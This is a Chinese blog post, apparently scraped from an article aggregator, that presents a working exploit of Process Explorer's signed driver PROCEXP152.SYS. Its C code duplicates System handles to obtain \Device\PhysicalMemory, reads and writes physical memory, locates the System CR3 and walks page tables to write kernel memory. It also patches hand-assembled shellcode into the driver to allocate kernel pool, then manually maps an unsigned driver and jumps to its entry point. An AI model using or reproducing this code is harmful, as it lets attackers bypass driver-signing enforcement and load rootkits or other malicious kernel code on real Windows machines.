当前位置: 首页 > news >正文

ProcExp的利用

背景

事件的起因是这篇blog,简单来说就是ark工具能够打开和复制system的句柄,其中\Device\PhysicalMemory的句柄可以映射到当前进程,从而直接操作物理地址。

利用

去msdn下载一个最新的PROCEXP,找到它的驱动文件PROCEXP152.SYS,我这里的版本如下:

 丢进ida(简单分析一下),找到可以利用的系统调用号,该ioctl的目的是复制句柄到当前进程。

 简单看一下查找的代码,很简单,复制system的所有句柄,查找句柄名为\Device\PhysicalMemory的句柄。

ULONG64 openProcess(ULONG64 pid)
{
	ULONG64 lPid = pid;
	ULONG64 handle = 0;
	ULONG ioctl = 0x3c - 0x7CCB0000;
	sendData(ioctl, &pid, sizeof(ULONG64), &handle, sizeof(ULONG64));
	return handle;
}

ULONG64 ZwDuplicateObject(ULONG64 handleValue)
{
	char inData[0x20] = { 0 };
	*(ULONG64*)inData = 4;
	*(ULONG64*)(inData + 0x18) = handleValue;

	ULONG64 duplicateHandle = 0;
	ULONG ioctl = 0x14 - 0x7CCB0000;
	sendData(ioctl, inData, 0x20, &duplicateHandle, sizeof(ULONG64));
	return 	duplicateHandle;
}

ULONG64 getPhysicalMemoryHandle(ULONG64 systemHandle)
{
	ULONG64 MemoryHandle = NULL;
	if (!initFunc())
	{
		printf("init func failed! \n");
		return NULL;
	}

	PSYSTEM_HANDLE_INFORMATION_EX shInfo = NULL;
	if (PhEnumHandlesEx(&shInfo) != STATUS_SUCCESS)
		return NULL;
	for (ULONG i = 0; i < shInfo->NumberOfHandles; ++i)
	{
		if (shInfo->Handles[i].UniqueProcessId != 4)
			continue;
		//printf("shInfo->Handles[i].HandleValue 0x%x\n", shInfo->Handles[i].HandleValue);

		//虽然procexp中提供了查询hanadleTypeName的方法,但是pid要大于8,且procexp中没有提供objectname的函数,所以这里把所有句柄直接复制过来
		ULONG64 dupHandle = ZwDuplicateObject(shInfo->Handles[i].HandleValue);

		//使用下面的r3的方式部分句柄获取为0,目标\Device\PhysicalMemory也是0
		//ULONG64 dupHandle = NULL;
		//DuplicateHandle((HANDLE)systemHandle, (HANDLE)shInfo->Handles[i].HandleValue,GetCurrentProcess(),(LPHANDLE)&dupHandle,0x10000000,false,DUPLICATE_SAME_ACCESS);
		//printf("copyHandle 0x%llx\n", dupHandle);
		if (dupHandle)
		{
			//我比较懒只拿句柄名
			char BufferForObjectName[1024] = { 0 };

			//获取句柄名,r3访问可能会卡死 https://blog.csdn.net/qq_18218335/article/details/78155282
			NTSTATUS status = NtQueryObject((HANDLE)dupHandle, ObjectNameInformation, BufferForObjectName, sizeof(BufferForObjectName), NULL);
			if (NT_SUCCESS(status))
			{
				POBJECT_NAME_INFORMATION ObjectName = (POBJECT_NAME_INFORMATION)BufferForObjectName;
				//printf("ObjectName->NameBuffer %S len %d \n", ObjectName->Name.Buffer, ObjectName->Name.Length);
				if (ObjectName->Name.Length == wcslen(L"\\Device\\PhysicalMemory")*2 && memcmp((wchar_t*)ObjectName->Name.Buffer, L"\\Device\\PhysicalMemory",ObjectName->Name.Length) == 0)
				{
					MemoryHandle = dupHandle;
					break;
				}
			}
		}
	}
	VirtualFree(shInfo, 0, MEM_RELEASE);

	return MemoryHandle;
}

 找到之后就可以将物理内存映射到进程的进程空间进行操作,读写物理地址的代码如下,也比较容易理解,就是需要注意写入的数据存在跨页的情况:

NTSTATUS ReadWritePhysMem(HANDLE hPhysMem, ULONG64 addr, size_t size, void* inOutBuf, bool read = true)
{
	PVOID ptrBaseMemMapped = NULL;
	SECTION_INHERIT inheritDisposition = ViewShare;
	NTSTATUS status = STATUS_SUCCESS;
	LARGE_INTEGER sectionOffset;

	// Mapping page
	SYSTEM_INFO sysInfo;
	GetSystemInfo(&sysInfo);
	const ULONG64 offsetRead = addr % sysInfo.dwPageSize;
	const ULONG64 addrBasePage = addr - offsetRead;
	sectionOffset.QuadPart = addrBasePage;

	// Making sure that the info to read doesn't span on 2 different pages
	const ULONG64 addrEndOfReading = addr + size;
	const ULONG64 offsetEndOfRead = addrEndOfReading % sysInfo.dwPageSize;
	const ULONG64 addrBasePageEndOfReading = addrEndOfReading - offsetEndOfRead;
	size_t sizeToMap = sysInfo.dwPageSize;
	if (addrBasePageEndOfReading != addrBasePage)
		sizeToMap *= 2;

	// We cannot simply use a MapViewOfFile, since it does checks that prevents us from reading kernel memory, so we use NtMapViewOfSection.
	status = NtMapViewOfSection(hPhysMem, GetCurrentProcess(), &ptrBaseMemMapped, NULL, NULL, &sectionOffset, (PSIZE_T)&sizeToMap, inheritDisposition, NULL, PAGE_READWRITE);

	if (status != STATUS_SUCCESS || !ptrBaseMemMapped)
		return status;

	// Copying the memory, unmapping, and returning
	const ULONG64 localAddrToRead = (ULONG64)(ptrBaseMemMapped) + offsetRead;
	if (read)
		memcpy(inOutBuf, (void*)(localAddrToRead), size);
	else
		memcpy((void*)(localAddrToRead), inOutBuf, size);
	UnmapViewOfFile(ptrBaseMemMapped);
	return status;
}

但是只操作物理地址没什么用啊,难道直接搜索nt的特侦码?这样也是一种方法,但是不够体面,这里找到了这个blog,简单来说通过uefi启动的系统,0x1000-0x100000的物理地址存了一个结构体PROCESSOR_START_BLOCK,而且都在页的开头。

其中 _KPROCESSOR_STATE中有system的cr3,而且根据观察,win10的system的cr3是固定的0x1ad000(当然不建议直接使用,能搜出来为什么要写死呢)

typedef struct _CONTEXT
{
     ULONG ContextFlags;
     ULONG Dr0;
     ULONG Dr1;
     ULONG Dr2;
     ULONG Dr3;
     ULONG Dr6;
     ULONG Dr7;
     FLOATING_SAVE_AREA FloatSave;
     ULONG SegGs;
     ULONG SegFs;
     ULONG SegEs;
     ULONG SegDs;
     ULONG Edi;
     ULONG Esi;
     ULONG Ebx;
     ULONG Edx;
     ULONG Ecx;
     ULONG Eax;
     ULONG Ebp;
     ULONG Eip;
     ULONG SegCs;
     ULONG EFlags;
     ULONG Esp;
     ULONG SegSs;
     UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;

typedef struct _KSPECIAL_REGISTERS
{
     ULONG Cr0;
     ULONG Cr2;
     ULONG Cr3;
     ULONG Cr4;
     ULONG KernelDr0;
     ULONG KernelDr1;
     ULONG KernelDr2;
     ULONG KernelDr3;
     ULONG KernelDr6;
     ULONG KernelDr7;
     DESCRIPTOR Gdtr;
     DESCRIPTOR Idtr;
     WORD Tr;
     WORD Ldtr;
     ULONG Reserved[6];
} KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;

typedef struct _KPROCESSOR_STATE
{
     CONTEXT ContextFrame;
     KSPECIAL_REGISTERS SpecialRegisters;
} KPROCESSOR_STATE, *PKPROCESSOR_STATE;

有了结构体搜索起cr3来就简单了

ULONG64 GetPML4(ULONG64 pbLowStub1M)
{
	ULONG offset = 0;
	ULONG64 PML4 = 0;
	//这里有个坑,注意x32和x64指针大小
	ULONG cr3_offset = 0xa0;//FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) + FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);

	__try 
	{
		while (offset < 0x100000) 
		{
			offset += 0x1000;
			if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
				continue;
			//编译为0x32位的是6c  0x64的是70,这里我习惯编译成x32,所以这里写死0x70	FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget)
			//printf("offset  %x *(UINT64*)(pbLowStub1M + offset + 0x70) %llX\n", offset, *(UINT64*)(pbLowStub1M + offset + 0x70));
			if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + 0x70)))
				continue;
			if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
				continue;
			PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
			break;
		}

	}__except (EXCEPTION_EXECUTE_HANDLER) {}

	return PML4;
}

有了cr3,那就可以通过分页操作system映射的虚拟地址了,代码如下

NTSTATUS ReadWriteVirtualAddressValue(ULONG64 cr3, HANDLE hPhysMem, ULONG64 virtualAddress, ULONG operateSize, PVOID Data, bool read)
{
	/*ULONG64* pTmp = &virtualAddress;//https://bbs.pediy.com/thread-203391.htm
	PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmp;
	printf("pageFormat->offset %llx, pageFormat->pte %llx, pageFormat->pde %llx, pageFormat->ppe %llx, pageFormat->pxe %llx",pageFormat->offset, pageFormat->pte, pageFormat->pde, pageFormat->ppe, pageFormat->pxe);
	*/
	ULONG64* pTmpVirtualAddress = &virtualAddress;
	PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmpVirtualAddress;

	//pxe处理
	ULONG64 pxe = NULL;
	ReadPhysMem(hPhysMem, cr3 + 8 * pageFormat->pxe, 8, &pxe);
	if (!pxe)
		return STATUS_UNSUCCESSFUL;
	//printf("pxe 0x%llx \n", pxe);
	pxe &= 0xFFFFFFFFFF000;//去掉高12和低12位数

	//ppe处理
	ULONG64 ppe = NULL;
	ReadPhysMem(hPhysMem, pxe + 8 * pageFormat->ppe, 8, &ppe);
	if (!ppe)
		return STATUS_UNSUCCESSFUL;
	//printf("ppe 0x%llx \n", ppe);
	ppe &= 0xFFFFFFFFFF000;//去掉高12和低12位数
	if (ppe & 0x80)//1g大页
	{
		//低30位清零
		ppe >>= 30;
		ppe <<= 30;

		//高34位清零
		virtualAddress <<= 34;
		virtualAddress >>= 34;

		if (read)
			return ReadPhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);
		else
			return WritePhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);
	}


	//pde处理
	ULONG64	pde = NULL;
	ReadPhysMem(hPhysMem, ppe + 8 * pageFormat->pde, 8, &pde);
	if (!pde)
		return STATUS_UNSUCCESSFUL;
	//printf("pde 0x%llx \n", pde);
	pde &= 0xFFFFFFFFFF000;//去掉高12和低12位数
	if (pde & 0x80) //2m大页
	{
		//低21位清零
		pde >>= 21;
		pde <<= 21;

		//高43位清零
		virtualAddress <<= 43;
		virtualAddress >>= 43;

		if (read)
			return ReadPhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);
		else
			return WritePhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);
	}

	//pte处理
	ULONG64	pte = NULL;
	ReadPhysMem(hPhysMem, pde + 8 * pageFormat->pte, 8, &pte);
	if (!pte)
		return STATUS_UNSUCCESSFUL;
	//printf("pte 0x%llx \n", pte);
	pte &= 0xFFFFFFFFFF000;//去掉高12和低12位数

	if (read)
		return ReadPhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);
	else
		return WritePhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);

	return STATUS_UNSUCCESSFUL;
}

现在能读写内核地址虚拟地址了,能不能做一个简单的demo,这里是可以的,利用漏洞加载未签名的驱动程序(这里我只修复了nt的导入表以及重定位,而且没有传入驱动对象,也就意味着不能指定unload和mj_control),这里抄袭了kdu的想法,hook驱动的ioctl调用函数。

思路

首先需要在内核申请一块地址,然后把未签名的驱动修复之后拷贝到内核中,启动线程或者修改线程执行流程到驱动的入口函数。

这里需要解决的第一个问题就是,如何在内核申请内存,这里处理比较简单,直接hook procexp的ioctl的调用函数,选了一个合适的调用号0x24

 写入shellcode,控制参数申请和释放内核内存

ULONG64 operateMemInit(HANDLE hPhysMem)
{
	ULONG64 readData = 0;
	ULONG64 cr3 = GetCr3(hPhysMem);
	if (cr3)
	{
		ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");
		if (procexpBase)
		{
			printf("procexpBase %llX\n", procexpBase);
			//hook 0x24调用 这里函数0x30D0偏移写死,有懒人,我不说是谁
			NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0 + 8, 8, &readData, 1);
			if (NT_SUCCESS(status))
			{
				if (readData == 0x848d48f88b4948ec)//这里代表函数还没有改
				{
					//这里写shellCode,主要有三个函数,1->ExAllocatePool 2->ExFreePool 以及3->PsCreateSystemThread (*+﹏+*)~@
					ULONG64 ExAllocatePool = GetKernelFuncAddress((char *)"ExAllocatePool");// 0xfffff8076c75fdb0;
					ULONG64 ExFreePool = GetKernelFuncAddress((char *)"ExFreePool");// 0xfffff8076cdb3140;
					/*
					40 53                                                           push    rbx
					56                                                              push    rsi
					57                                                              push    rdi
					41 57                                                           push    r15
					48 83 EC 58                                                     sub     rsp, 58h //注意栈对齐movaps  xmmword ptr [rbp-21h],xmm0 ss:0018:ffffa687`b2e21138
																					//rcx = inBuf rdx = outBuf r8 = outLen
					48 8B C1                                                        mov rax,rcx
					48 8B 00                                                        mov rax,qword ptr ds:[rax]
					48 83 F8 01                                                     cmp rax,1
					74 10                                                           je eip + 18
					48 83 F8 02                                                     cmp rax,2
					74 2A                                                           je eip + 44
					48 83 F8 03                                                     cmp rax,3 //原本打算是PsCreateSystemThread,但直接hook函数更省事儿
					74 36                                                           je eip + 56
					EB 34                                                           jmp eip + 54

					// ExAllocatePool函数的调用
					90                                                              nop
					90                                                              nop
					48 B8 11 11 11 11 11 11 11 11                                   mov rax,ExAllocatePool + 40   
					48 8B D9                                                        mov rbx,rcx                 
					B9 00 00 00 00                                                  mov ecx,0  //NonPagedPool
					48 8B F2                                                        mov rsi,rdx                  
					48 8B 53 08                                                     mov rdx,qword ptr ds:[rbx+8]//NumberOfBytes
					FF D0                                                           call rax
					48 89 06                                                        mov qword ptr ds:[rsi],rax

					//ExFreePool函数的调用
					EB 12                                                           jmp eip + 20 
					48 B8 11 11 11 11 11 11 11 11                                   mov rax,ExFreePool + 72
					48 8B 49 08                                                     mov rcx,qword ptr ds:[rcx+8]
					FF D0                                                           call rax

					90                                                              nop
					90                                                              nop
					90                                                              nop
					90                                                              nop
					90                                                              nop
					48 83 C4 58                                                     add     rsp, 58h
					41 5F                                                           pop     r15
					5F                                                              pop     rdi
					5E                                                              pop     rsi
					5B                                                              pop     rbx
					C3                                                              retn
					*/
					//保存原始代码。。。。省略
					UCHAR shellCode[] = { 0x40,0x53,0x56,0x57,0x41,0x57,0x48,0x83,0xEC,0x58,
						//这里是处理逻辑的opCobde
						0x48,0x8B,0xC1,0x48,0x8B,0x00,0x48,0x83,0xF8,0x01,0x74,0x10,0x48,0x83,0xF8,0x02,0x74,0x2A,0x48,0x83,0xF8,0x03,0x74,0x36,0xEB,0x34,
						0x90,0x90,
						//这里处理函数一
						0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0xD9,0xB9,0x00,0x00,0x00,0x00,0x48,0x8B,0xF2,0x48,0x8B,0x53,0x08,0xFF,0xD0,0x48,0x89,0x06,
						0xEB,0x12,
						//这里处理函数二
						0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0x49,0x08,0xFF,0xD0,
						0x90,0x90,0x90,0x90,0x90,
						//结束
						0x48,0x83,0xC4,0x58,0x41,0x5F,0x5F,0x5E,0x5B,0xC3 };

					//拷贝函数
					memcpy(shellCode + 40, &ExAllocatePool, 8);
					memcpy(shellCode + 72, &ExFreePool, 8);

					status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0, sizeof(shellCode), shellCode, 0);
					if (NT_SUCCESS(status))
					{
						//__(1,0);
						printf("write shellcode func successful!!\n");
						return cr3;
					}

				}
			}
			else
			{
				printf("invalid address\n");
			}

		}
	}

	return cr3;
}

很简单,传入1代表申请内存,2是释放,其他是不操作。

最后就是修复iat和重定位,在跳转到oep就能保证驱动的执行了,当然可能比较复杂的驱动会有问题,但这只能结合你自己的驱动自己去调,我写的demo很简单,加载也不会有问题。

//这里只修复nt的导入函数和重定位,能修但是只能修一点点
NTSTATUS LoadDriver(HANDLE hPhysMem,ULONG64 cr3,WCHAR* path)
{
	UNICODE_STRING ustr;
	WCHAR sysPath[MAX_PATH * 2];
	ULONG64 sysBase = NULL;

	wcscpy_s(sysPath, path);
	RtlInitUnicodeString(&ustr, sysPath);
	NTSTATUS ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)& sysBase);
	if (NT_SUCCESS(ntStatus))
	{
		//printf("sysBase %llX \n", sysBase);
		PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)sysBase;
		if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
		{
			return STATUS_UNSUCCESSFUL;
		}
		PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)sysBase + ImageDosHeader->e_lfanew);
		PIMAGE_IMPORT_DESCRIPTOR pImportHeader = (PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
		while (pImportHeader->Name && pImportHeader->Characteristics)
		{
			PCHAR name = (PCHAR)sysBase + pImportHeader->Name;
			PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pImportHeader->FirstThunk + (PUCHAR)sysBase);
			if (memcmp("ntoskrnl.exe", name, strlen("ntoskrnl.exe")) == 0)//只处理nt
			{
				while (pImageThunkData->u1.AddressOfData)
				{
					if ((pImageThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0)
					{
						PIMAGE_IMPORT_BY_NAME pImageImportName = (PIMAGE_IMPORT_BY_NAME)(pImageThunkData->u1.AddressOfData + (PUCHAR)sysBase);
						ULONG64 func = GetKernelFuncAddress(pImageImportName->Name);
						if (func)
							VirtualProtectCopy(&pImageThunkData->u1.Function, func, 8);
						printf("name %s address %llx \n", pImageImportName->Name, pImageThunkData->u1.Function);
					}
					pImageThunkData++;
				}
				break;
			}
			pImportHeader++;
		}
		ULONG imgSize = pImageNtHeaders64->OptionalHeader.SizeOfImage;
		ULONG64 allocateAddress = __(1, imgSize);
		if (allocateAddress)
		{
			ULONG64 baseAddressoffest = ((ULONG64)allocateAddress) - (pImageNtHeaders64->OptionalHeader.ImageBase);
			PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
			while (pRelocation->SizeOfBlock && pRelocation->VirtualAddress)
			{
				ULONG iTypeOffsetCount = (ULONG)(pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
				for (ULONG i = 0; i < iTypeOffsetCount; i++)
				{
					USHORT TypeOffsetInfo = *(USHORT*)((PUCHAR)pRelocation + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(USHORT));
					USHORT TypeOffsetFlag = (TypeOffsetInfo >> 12) & 0x000F;
					if (IMAGE_REL_BASED_HIGHLOW == TypeOffsetFlag || TypeOffsetFlag == IMAGE_REL_BASED_DIR64)
					{
						ULONG64 relocationAddress = (ULONG64)sysBase + pRelocation->VirtualAddress + (TypeOffsetInfo & 0x0FFF);
						//*(PULONG64)relocationAddress += baseAddressoffest;
						VirtualProtectCopy((ULONG64*)relocationAddress, *(PULONG64)relocationAddress + baseAddressoffest, 8);
					}
				}
				pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG64)pRelocation + pRelocation->SizeOfBlock);
			}
			printf("sysbase %llX allocateAddress %llX size %X \n", sysBase, allocateAddress, imgSize);
			//把数据拷贝过去
			for (ULONG i = 0; i < imgSize; i += 0x1000)
			{
				__try
				{
					printf("%llX \n", sysBase + i);//这里是不可以省略的,因为拷贝的时候r3的所有内存不是全部映射了,这是一种偷懒的做法,有些人真是懒死了
					ReadWriteVirtualAddressValue(cr3, hPhysMem, allocateAddress + i, 0x1000, (PVOID)(sysBase + i), 0);
				}__except(EXCEPTION_EXECUTE_HANDLER) {}
				
			}

			//printf("write successful!! allocateAddress is %llx \n", allocateAddress);
			
			//然后找一个hook点jmp过去
			ULONG64 oep = pImageNtHeaders64->OptionalHeader.AddressOfEntryPoint + allocateAddress;
			ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");
			if (procexpBase)
			{
				/*
				48 B8 11 11 11 11 11 11 11 11                mov rax,1111111111111111
				FF E0                                        jmp rax
				*/
				UCHAR shellCode[] = { 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xFF,0xE0 };
				memcpy(shellCode + 2, &oep, 8);
				NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x1A20, sizeof(shellCode), shellCode, 0);
				{
					printf("write oep success %llX \n", oep);

					system("pause");

					//触发jmp oep	==>需要注意的是,由于没有初始化pdriverobject,所以驱动里面不要写unload函数
					___();
				}
			}
			system("pause");
			__(2, allocateAddress);//释放
		}
	}
	return STATUS_SUCCESS;
}

相关文章:

  • C++内存管理
  • 33、Java 异常掌握这些就够了(图解 Java 中的异常)
  • springboot-方法处理4-消息转换器
  • FPGA底层资源综述
  • CLIP扩展
  • 从一维卷积、因果卷积(Causal CNN)、扩展卷积(Dilation CNN) 到 时间卷积网络 (TCN)
  • 高等数学(第七版)同济大学 习题8-2 个人解答
  • [HJ56 完全数计算]
  • 【nlp】天池学习赛-新闻文本分类-机器学习
  • 机器人系统,如何快速算法开发与原型机验证?
  • 调用静态方法
  • Vue的生命周期详解
  • 机器人控制算法九之机器人建模(XML)、工作场景Scances建模(VRML)
  • 【Unity3D日常开发】Unity3D中打包WEBGL后读取本地文件数据
  • 【SDS V6 专题】开放内容平台,XOCP 助力数据常青
  • Apache Spark Streaming 使用实例
  • Github访问慢解决办法
  • HTML-表单
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • leetcode388. Longest Absolute File Path
  • php的插入排序,通过双层for循环
  • react-core-image-upload 一款轻量级图片上传裁剪插件
  • tab.js分享及浏览器兼容性问题汇总
  • Vim 折腾记
  • 记录一下第一次使用npm
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 理清楚Vue的结构
  • 力扣(LeetCode)357
  • 力扣(LeetCode)965
  • 每个JavaScript开发人员应阅读的书【1】 - JavaScript: The Good Parts
  • 前端面试题总结
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 鱼骨图 - 如何绘制?
  • ​​快速排序(四)——挖坑法,前后指针法与非递归
  • ​io --- 处理流的核心工具​
  • ​用户画像从0到100的构建思路
  • # MySQL server 层和存储引擎层是怎么交互数据的?
  • #我与Java虚拟机的故事#连载02:“小蓝”陪伴的日日夜夜
  • (pojstep1.3.1)1017(构造法模拟)
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (附源码)ssm高校升本考试管理系统 毕业设计 201631
  • (附源码)计算机毕业设计SSM疫情社区管理系统
  • (附源码)小程序 交通违法举报系统 毕业设计 242045
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (提供数据集下载)基于大语言模型LangChain与ChatGLM3-6B本地知识库调优:数据集优化、参数调整、Prompt提示词优化实战
  • (转载)VS2010/MFC编程入门之三十四(菜单:VS2010菜单资源详解)
  • (转载)虚函数剖析
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .NET CF命令行调试器MDbg入门(一)
  • .NET Compact Framework 多线程环境下的UI异步刷新
  • .netcore 获取appsettings
  • .net打印*三角形
  • .net访问oracle数据库性能问题
  • .NET设计模式(7):创建型模式专题总结(Creational Pattern)